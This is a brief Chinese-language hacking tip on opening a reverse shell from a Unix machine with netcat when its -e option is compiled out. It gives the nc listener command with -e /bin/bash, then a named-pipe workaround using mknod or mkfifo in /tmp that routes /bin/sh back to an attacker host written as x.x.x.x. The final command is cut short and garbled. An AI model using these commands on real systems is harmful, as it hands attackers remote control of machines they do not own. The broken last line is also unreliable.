Unix系统自带NC，但是为了安全，一般不会编译-e选项，也就无法反弹shell，
*Unix系统NC反弹shell的方法
。但是可以变换一下思路，不直接使用NC反弹shell，而是反弹一个拥有shell权限的管道。NC的原生做法：
1nc -l -vv -p 2222 -e /bin/bash
无法使用NC反弹的时候可以这样
1先在tmp创建一个普通管道
2mknod /tmp/backpipe p
3或者
4mkfifo /tmp/backpipe p
5然后管道一边接入shell,一变用NC反弹到攻击者主机x.x.x.x
6/bin/sh 0/tmp/backpipe